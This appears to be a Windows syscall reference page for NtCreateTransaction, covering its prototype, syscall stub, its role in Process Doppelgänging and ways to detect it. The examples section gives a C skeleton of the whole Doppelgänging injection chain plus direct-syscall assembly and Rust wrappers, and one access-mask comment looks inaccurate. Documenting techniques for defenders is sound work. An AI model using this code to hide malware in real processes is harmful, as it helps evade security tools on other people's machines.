NtCreateTransaction

Prototype

NTSTATUS NtCreateTransaction(
  PHANDLE            TransactionHandle,
  ACCESS_MASK        DesiredAccess,
  POBJECT_ATTRIBUTES ObjectAttributes,
  LPGUID             Uow,
  HANDLE             TmHandle,
  ULONG              CreateOptions,
  ULONG              IsolationLevel,
  ULONG              IsolationFlags,
  PLARGE_INTEGER     Timeout,
  PUNICODE_STRING    Description
);

Arguments

Syscall IDs by Windows version

Syscall stub

4C 8B D1            mov r10, rcx
B8 CF 00 00 00      mov eax, 0xCF      ; Win11 24H2 SSN
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Undocumented notes

NtCreateTransaction sits on top of the Kernel Transaction Manager (KTM) and the Common Log File System (CLFS). It was introduced in Windows Vista to support transactional NTFS (TxF) and the transactional registry (TxR). The handle returned here is used as a context for `NtCreateFile` with `FILE_OPEN_FOR_TRANSACTED_BINDING` or for `CreateFileTransacted`, so every write inside the transaction is invisible to other handles until `NtCommitTransaction`. Microsoft formally deprecated TxF in Windows 10 but the API surface is still fully shipped and supported — which is precisely why it remains attractive as an evasion primitive.

Common malware usage

Central building block of **Process Doppelgänging** (Tal Liberman & Eugene Kogan, enSilo / Black Hat EU 2017, MITRE T1055.013). The attack flow is: (1) `NtCreateTransaction`; (2) `NtCreateFile` *inside* the transaction with a benign-looking filename; (3) `NtWriteFile` of the malicious PE; (4) `NtCreateSection` from the transacted file handle; (5) `NtRollbackTransaction` — the on-disk file reverts to whatever it was (often a clean copy of svchost.exe or notepad.exe), while the section in memory still maps the malicious bytes; (6) `NtCreateProcessEx` / `NtCreateThreadEx` against the section to spawn a process whose backing image, as far as Win32 is concerned, is the rolled-back clean file. SynAck ransomware was caught using this in the wild in 2018, followed by Osiris/Kronos banker variants. A close cousin — **Transacted Hollowing** — uses `NtCommitTransaction` instead of rolling back.

Detection opportunities

ETW provider `Microsoft-Windows-Kernel-File` emits transaction-related events (Event IDs 30/31 for transaction create/commit/rollback paths) and `Microsoft-Windows-TxF` exposes the full transactional NTFS surface. Sysmon does not natively flag transactions, but EDRs increasingly compare `SectionObject->ControlArea->FilePointer` against the on-disk content via `NtAreMappedFilesTheSame` to spot mismatches. A process whose `Image File Name` (in `PEB->ProcessParameters->ImagePathName`) does not hash-match its on-disk file is the gold-standard Doppelgänging IOC. Hunting query: any non-system process that opens a transaction handle, writes a PE inside it, then creates a section from the transacted file.

Direct syscall examples

// Process Doppelgänging — enSilo 2017 / T1055.013
// Requires ntdll prototypes. Error checks elided for clarity.

HANDLE hTransaction = NULL;
NTSTATUS s = NtCreateTransaction(
    &hTransaction,
    TRANSACTION_ALL_ACCESS,
    NULL,    // unnamed
    NULL, NULL, 0, 0, 0, NULL, NULL);

// Open a benign-looking file *inside* the transaction.
HANDLE hFile = CreateFileTransactedW(
    L"C:\\Windows\\Temp\\update.dat",
    GENERIC_WRITE | GENERIC_READ, 0, NULL,
    CREATE_ALWAYS, 0, NULL,
    hTransaction, NULL, NULL);

// Write malicious PE bytes into the transacted view.
DWORD written;
WriteFile(hFile, payloadBytes, payloadSize, &written, NULL);

// Create section from the transacted file — section now backs payload.
HANDLE hSection;
NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, 0,
                PAGE_READONLY, SEC_IMAGE, hFile);

// Roll back: file on disk reverts; section in memory keeps payload.
NtRollbackTransaction(hTransaction, TRUE);
CloseHandle(hFile);
CloseHandle(hTransaction);

// Spawn process from the (now orphaned) section.
HANDLE hProcess;
NtCreateProcessEx(&hProcess, PROCESS_ALL_ACCESS, NULL,
                  NtCurrentProcess(), 0, hSection, NULL, NULL, FALSE);

; Direct syscall stub for NtCreateTransaction (SSN 0xCF on Win11 24H2)
NtCreateTransaction PROC
    mov  r10, rcx
    mov  eax, 0CFh
    syscall
    ret
NtCreateTransaction ENDP

// Cargo: ntapi = "0.4", winapi = { version = "0.3", features = ["handleapi"] }
use ntapi::ntxcapi::NtCreateTransaction;
use winapi::shared::ntdef::HANDLE;
use std::ptr::null_mut;

unsafe fn create_tx() -> HANDLE {
    let mut h: HANDLE = null_mut();
    let status = NtCreateTransaction(
        &mut h,
        0x10000000, // TRANSACTION_ALL_ACCESS
        null_mut(), null_mut(), null_mut(),
        0, 0, 0,
        null_mut(), null_mut(),
    );
    assert!(status >= 0, "NtCreateTransaction failed: 0x{:X}", status);
    h
}

MITRE ATT&CK mappings

• T1055.013Process Doppelgängingmitre ↗
• T1027Obfuscated Files or Informationmitre ↗
• T1106Native APImitre ↗